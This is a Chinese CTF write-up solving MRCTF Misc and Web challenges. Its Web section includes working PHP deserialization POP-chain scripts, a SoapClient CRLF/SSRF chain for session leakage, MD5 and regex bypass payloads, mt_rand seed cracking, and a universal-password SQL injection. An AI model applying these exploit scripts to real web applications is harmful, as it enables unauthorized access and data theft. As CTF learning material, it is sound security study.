MRCTF復現

Misc

千層套路

和BJDCTF的一題一樣,密碼爲文件名,重複解壓,腳本跑就完事了。

ezmisc

修改行高。

你能看懂音符嗎

用010editor打開,發現rar文件頭錯了,改爲5261。正常之後解壓縮,看到一個doc文檔。
doc隱寫的一種(其他方法參考https://xz.aliyun.com/t/1883/):
在這裏插入圖片描述
但此時還只能顯示不能複製,還要一步操作:
在這裏插入圖片描述
再進入音符解密頁面解密即可

A Signal From ISS

robot36分析即可,安裝包在robot36-1.44\app\release目錄下。
在這裏插入圖片描述
(這個是我用電腦插耳機頂着手機麥克風得到的圖像,這聲音屬實難頂)

尋找xxx

解壓之後有一個.wav文件,聽了後發現是手機按鍵音(雙音多頻信號),把聽到的數字發給公衆號即可。

不眠之夜

拼圖

Unravel!!

binwalk一下圖片,發現又隱藏,foremost一下,發現多了三個文件,兩張內容爲Tokyo的圖片和一個zip文件,打開是名字叫aes.png的圖片,內容是Tokyo。

.wav提示我們看文件末尾,那就用010editor看看吧。得到一串字符:y=U2FsdGVkX1/nSQN+hoHL8OwV9iJB/mSdKk5dmusulz4=,根據前面的明示很顯然是aes加密。
解密之後,得到一串字符:CCGandGulu,以此爲密碼解壓縮,得到一個音頻文件,用silenteye解開即可。

pyflag

解壓後有三張圖片,每張圖片末尾有一段數據
在這裏插入圖片描述
拼接起來之後就是一個zip文件。看hex文件沒有僞加密,於是爆破密碼,得到密碼爲1234。
打開flag.txt,得到一串密文:

G&eOhGcq(ZG(t2*H8M3dG&wXiGcq(ZG&wXyG(j~tG&eOdGcq+aG(t5oG(j~qG&eIeGcq+aG)6Q<G(j~rG&eOdH9<5qG&eLvG(j~sG&nRdH9<8rG%++qG%__eG&eIeGc+|cG(t5oG(j~sG&eOlH9<8rH8C_qH9<8oG&eOhGc+_bG&eLvH9<8sG&eLgGcz?cG&3|sH8M3cG&eOtG%_?aG(t5oG(j~tG&wXxGcq+aH8V6sH9<8rG&eOhH9<5qG(<E-H8M3eG&wXiGcq(ZG)6Q<G(j~tG&eOtG%+<aG&wagG%__cG&eIeGcq+aG&M9uH8V6cG&eOlH9<8rG(<HrG(j~qG&eLcH9<8sG&wUwGek2)

hint.txt提示我們用base解密。查找資料後發現是base85。
用python帶的解密函數解密之後得到一串16進制字符,經過base16、base32、base16、base64解密後得到flag。

Hello_Misc

文件打開後得到一個flag.rar和try to restore it.png。flag.rar需要密碼,那就先看看圖片。
圖片說試着還原它,但檢查crc都是正確的。但看圖片的hex下面好像有一個壓縮包,foremost一下。
果然出來了一個帶密碼的壓縮包。

接下來就是見證奇蹟的時刻
把圖片的紅色部分全部截掉(一點不能多一點不能少)
在這裏插入圖片描述
,然後把它當成二進制保存爲圖片,就可以看到:
是不是覺得十分鬼畜?
保存圖片的腳本如下:

from PIL import Image
import numpy as np
import re
import struct

img = Image.open('img.png')
a = np.array(img)
a.shape

c = ''
for i in range(58):
    for j in range(1024):
        if (a[i, j, 0] == 255):
            c += '1'
        else:
            c += '0'

b = re.findall(r'.{8}', c)

d = []
for i in b:
    d.append(int(i, 2))

o = open('out.png', 'wb')

for i in d:
    t = struct.pack('B', i)
    o.write(t)

o.close()

用得到的密碼打開剛剛分離的壓縮文件,得到一長串的數字
在這裏插入圖片描述
發現只有四個數字,腳本跑一跑,得到了flag.zip的密碼。
腳本如下:

fp = open('out.txt','r')
a = fp.readlines()
p = []
for i in a:
    p.append(int(i))
s = ''
for i in p:
    if i == 63:
        a = '00'
    elif i == 127:
        a = '01'
    elif i == 191:
        a = '10'
    elif i == 255:
        a = '11'
    s += a
    
d = re.findall(r'.{8}', s)
o = ''
for i in d:
    o += chr(int(i, 2))
print(o)

打開發現fffflag.zip其實是一個docx文件,更改後綴之後打開,全選,發現下面有貓膩:
在這裏插入圖片描述
改變字體顏色得到一串密文

MTEwMTEwMTExMTExMTEwMDExMTEwMTExMTExMTExMTExMTExMTExMTExMTExMTExMTAxMTEwMDAwMDAxMTExMTExMTExMDAxMTAx
MTEwMTEwMTEwMDAxMTAxMDExMTEwMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTAxMTExMTExMTExMTExMTEwMTEwMDEx
MTEwMDAwMTAxMTEwMTExMDExMTEwMTExMTExMTAwMDExMTExMTExMTExMDAxMDAxMTAxMTEwMDAwMDExMTExMDAwMDExMTExMTEx
MTEwMTEwMTAwMDAxMTExMDExMTEwMTExMTExMDExMTAxMTExMTExMTEwMTEwMTEwMTAxMTExMTExMTAwMTEwMTExMTExMTExMTEx
MTEwMTEwMTAxMTExMTExMDExMTEwMTExMTAxMDExMTAxMTExMTExMTEwMTEwMTEwMTAxMTAxMTExMTAwMTEwMTExMTExMTExMTEx
MTEwMTEwMTAwMDAxMTAwMDAwMTEwMDAwMDAxMTAwMDExMTAwMDAwMTEwMTEwMTEwMTAxMTEwMDAwMDAxMTExMDAwMDExMTExMTEx

是base64隱寫加密,利用工具解密之後得到一串01字符
複製到doc,搜索0,即可得到flag

Web

Ezpop

點開即可看到源碼,如下:

 <?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

各個魔術方法作用如下:

在這裏插入圖片描述

  1. 首先看到Show類_wakeup(),反序列化時調用,以此起手。
  2. 由於_wakeup()處用preg_match()$this->source進行了比較,被當作字符串使用,於是開始調用_toString()
  3. _toString()處反序列化爲Test類,由於_toString()裏return了$this->str->source,且Test裏沒有$source,所以_get()會自動被調用
  4. Test類return一個$fuction(),正好符合Modifier類_invoke(),於是調用$this->append()append()裏有一個inlcude(),如果此時inculde()裏的值爲php僞協議的話就可以順利讀取flag.php。

由於var爲protected,所以在進入之前需要先進行url編碼
PHP腳本如下:

<?php
//pop鏈測試
class Modifier
{
    protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$a = new Show();
$a->source=new Show();
$a->source->str = new Test();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
?>

base64解碼即可得到flag

套娃

F12可以看到有一段php代碼:

<?php
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
?>

可以看到需要我們將b_u_p_t傳進去,但參數名過濾了_%5f。我們用.代替下劃線(空格也可以),即可將參數傳入。下一步是b_u_p_t!=='23333'b_u_p_t需要匹配到23333
在這裏插入圖片描述
(正則表達式測試網站:https://regex101.com/)

我們可以看到,我們的正則表達式沒有/gm,說明只匹配一行。我們利用換行符繞過即可。
payload:?b.u.p.t=23333%0a

pyflag

F12可以看到有一段前端代碼:

function enc(code){
  hash = hex_md5(code);
  return hash;
}
function validate(){
  var code = document.getElementById("vcode").value;
  if (code != ""){
    if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
      alert("您通過了驗證!");
      window.location = "./flag.php"
    }else{
    alert("你的授權碼不正確!");
    }
      }else{
        alert("請輸入授權碼");
      }
}

但是卵用沒有,只是告訴你有個flag.php而已(我還傻傻的看了半小時,哭了)
跳轉到flag.php,
在這裏插入圖片描述
利用XFF頭僞造本地即可得到flag。

ez_bypass

點開,可以看到一串php代碼:

<?php
//I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}
?>

簡單MD5繞過。第一層用數組繞過,第二層用弱類型比較繞過。
payload:
在這裏插入圖片描述

傳馬

簡單文件上傳。先上傳一個.htaccess文件,在上傳一個圖片馬,然後蟻劍連一下就好。

ez_audit

www.zip源碼泄露,代碼如下:

<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($password == '') ||($Private_key == '')) {
        // 若爲空,視爲未填寫,提示錯誤,並3秒後返回登錄界面
        header('refresh:2; url=login.html');
        echo "用戶名、密碼、密鑰不能爲空啦,crispr會讓你在2秒後跳轉到登錄界面的!";
        exit;
}
    else if($Private_key != '*************' )
    {
        header('refresh:2; url=login.html');
        echo "假密鑰,咋會讓你登錄?crispr會讓你在2秒後跳轉到登錄界面的!";
        exit;
    }

    else{
        if($Private_key === '************'){
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

} 
// genarate public_key 
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???

之前安恆新年祈福賽的枯燥的抽獎類型差不多,就是利用mt_rand()僞隨機數漏洞。
該題我們在知道了公鑰之後可以得到它的seed,同樣的seed隨機同樣次數出現的數是固定的,我們可以用php_mt_seed得到seed然後計算出私鑰。下面是我的腳本:

<?php
$publickey = 'KVQP0LdJKRaV3n9D';
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$length = 16;
$ch2 = array();
for($i=0;$i<strlen($strings1);$i++){
    $ch2[$i] = substr($strings1,$i,1);
}
for($i=0;$i<16;$i++)
{
    $ch1 = substr($publickey, $i, 1);
    for($j=0;$j<strlen($strings1);$j++)
    {
        if($ch2[$j]==$ch1){
            echo $j." "."$j"." "."0"." ".(strlen($strings1)-1)." ";
            break;
        }
    }
}
?>

在使用php_mt_seed之前,我們要先進入文件所在目錄運行make,編譯一下
在這裏插入圖片描述
然後將剛剛腳本得出的數字放進php_mt_seed中,爆破即可得到seed
在這裏插入圖片描述
得到seed之後,利用mt_srand()進行播種。再調用私鑰函數即可得到私鑰。(奇怪的是我把wp的腳本複製下來都沒得到wp裏的密鑰,很迷)
得到私鑰之後用萬能密碼即可得到flag。

Ezpop_Revenge

www.zip源碼泄露,下載下來。由於是構造pop鏈,所以先找到反序列化的地方。(我這裏使用的是phpstorm的find in path,推薦在linux下使用命令find . -name "*"| xargs grep "unserialize"
在這裏插入圖片描述
反序列化的地方有很多,但能用的就這一個。
我們看看核心代碼:

class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}
class HelloWorld_Plugin implements Typecho_Plugin_Interface{
	public function action(){
		if(!isset($_SESSION)) session_start();
        if(isset($_REQUEST['admin'])) var_dump($_SESSION);
        if (isset($_POST['C0incid3nc3'])) {
			if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
				unserialize(base64_decode($_POST['C0incid3nc3']));
			else {
				echo "Not that easy.";
			}
        }
    }
}

可以看到HelloWorld_DB類裏又有一個Typecho_Db類,追一下。在/var/IXR/Typecho/Db.php裏,核心代碼如下:

class Typecho_Db{
public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 獲取適配器名稱 */
        $this->_adapterName = $adapterName;

        /** 數據庫適配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
        }

        $this->_prefix = $prefix;

        /** 初始化內部變量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //實例化適配器對象
        $this->_adapter = new $adapterName();
    }
}

注意看$adapterName = 'Typecho_Db_Adapter_' . $adapterName;,此時將$adapterName進行拼接,即將其當作字符串使用,找找有沒有_toString()。在var\Typecho\DbQuery.php中有一個該魔術方法。去除其他無關函數後內容如下:

class Typecho_Db_Query{
	private static $_default = array(
        'action' => NULL,
        'table'  => NULL,
        'fields' => '*',
        'join'   => array(),
        'where'  => NULL,
        'limit'  => NULL,
        'offset' => NULL,
        'order'  => NULL,
        'group'  => NULL,
        'having'  => NULL,
        'rows'   => array(),
    );
    private $_sqlPreBuild;
	public function __toString()
    {
        switch ($this->_sqlPreBuild['action']) {
            case Typecho_Db::SELECT:
                return $this->_adapter->parseSelect($this->_sqlPreBuild);
            case Typecho_Db::INSERT:
                return 'INSERT INTO '
                . $this->_sqlPreBuild['table']
                . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
                . ' VALUES '
                . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
                . $this->_sqlPreBuild['limit'];
            case Typecho_Db::DELETE:
                return 'DELETE FROM '
                . $this->_sqlPreBuild['table']
                . $this->_sqlPreBuild['where'];
            case Typecho_Db::UPDATE:
                $columns = array();
                if (isset($this->_sqlPreBuild['rows'])) {
                    foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
                        $columns[] = "$key = $val";
                    }
                }

                return 'UPDATE '
                . $this->_sqlPreBuild['table']
                . ' SET ' . implode(' , ', $columns)
                . $this->_sqlPreBuild['where'];
            default:
                return NULL;
        }
}

這裏我們要注意一下當$this->_sqlPreBuild['action']SELECT的時候,有一個parseSelect(),此時我們把$_adapter實例化爲soapClient類,該類爲php的原生類,沒有parseSelect函數,從而調用該類裏的_call(),關於其他原生類的一點用法如下:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label3

下面貼的是工作室的學長寫的腳本,注意的是,要用soapclient類需要打開php_soap拓展

class Typecho_Db_Query{
    private $_adapter;
    private $_sqlPreBuild;
    public function __construct(){
        $this->_adapter = new soapclient(null,array('location' => "http://127.0.0.1/flag.php",
            'user_agent' => "AAA:BBB\r\n" .//這裏用crlf設置了cookie,soapclient本來是不能設置coockie的,但可以通過crlf做到
                "Cookie:PHPSESSID=e6bsvffup1nrljkbchevhp9pe1",//這裏要用自己的Cookie,要把session帶出就必須要帶入一個session
            'uri' => "http://127.0.0.1/"));
        $this->_sqlPreBuild['action']='SELECT';
    }
}
class HelloWorld_DB{
    private $coincidence;
    public function __construct(){
        $this->coincidence=array(
            "hello" => new Typecho_Db_Query(),
            "world" => "typecho_"
        );
    }
}

$a=new HelloWorld_DB();
echo base64_encode(serialize($a));

那麼,該如何觸發呢?我們看到www\var\Typechoplugin.php有這麼一段:

public static function activate($pluginName)
    {
        self::$_plugins['activated'][$pluginName] = self::$_tmp;
        self::$_tmp = array();
        Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
    }

可以看到這裏添加了路由HelloWorld_Plugin,根據Typecho的文檔,我們可以知道,只要訪問了/page_admin,就可以調用HelloWorld_Plugin插件,把腳本輸出的值POST傳入參數C0incid3nc3之後就可以進行反序列化,然後利用soap訪問flag.php實現SSRF,並將flag帶入session中。

如何輸出session呢?回到最開始的HelloWorld_DB類,有一個if(isset($_REQUEST['admin'])) var_dump($_SESSION);,也就是說只要傳入admin參數即可。
結果如下:
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章